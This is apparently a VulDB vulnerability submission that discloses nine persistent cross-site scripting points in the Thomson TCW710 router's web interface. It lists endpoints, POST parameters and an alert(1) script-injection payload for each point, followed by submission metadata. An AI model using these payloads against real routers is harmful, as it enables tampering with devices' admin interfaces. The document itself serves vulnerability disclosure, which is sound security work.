जमा करें #42: Router thomson tcw710 Multiple persistent XSS

1 - XSS Persistent

URL: /goform/wlanPrimaryNetwork
Request: POST
Param: ServiceSetIdentifier
Payload: ><script>alert(1)</script>

2 - XSS Persistent
URL: /goform/RGFirewallEL
Request: POST
Param: EmailAddress
Payload: ><script>alert(1)</script>

3 - XSS Persistent
URL: /goform/RGFirewallEL
Request: POST
Param: SmtpServerName
Payload: ><script>alert(1)</script>

4 - XSS Persistent
URL: /goform/RgTime
Request: POST
Param: TimeServer1
Payload: ><script>alert(1)</script>

5 - XSS Persistent
URL: /goform/RgTime
Request: POST
Param: TimeServer2
Payload: ><script>alert(1)</script>

6 - XSS Persistent
URL: /goform/RgTime
Request: POST
Param: TimeServer3
Payload: ><script>alert(1)</script>

7 - XSS Persistent
URL: /goform/RgDdns
Request: POST
Param: DdnsHostName
Payload: ><script>alert(1)</script>

8 - XSS Persistent
URL: /goform/RgDhcp
Request: POST
Param: PppUserName
Payload: ><script>alert(1)</script>

9 - XSS Persistent
URL: /goform/RgUrlBlock.asp
Request: POST
Param: BasicParentalNewKeyword
Payload: ><script>alert(1)</script>

• स्रोत: ⚠️ https://alquimistadesistemas.com/auditando-router-thomson-tcw710
• उपयोगकर्ता: jbenages (UID 1784)
• सबमिशन: 12/11/2018 07:39 PM (8 साल पहले)
• संयम: 13/11/2018 09:36 AM (14 hours later)
• स्थिति: स्वीकृत
• VulDB प्रविष्टि: 126695 [Thomson TCW710 ST5D.10.05 wlanPrimaryNetwork ServiceSetIdentifier Persistent क्रॉस साइट स्क्रिप्टिंग]
• अंक: 17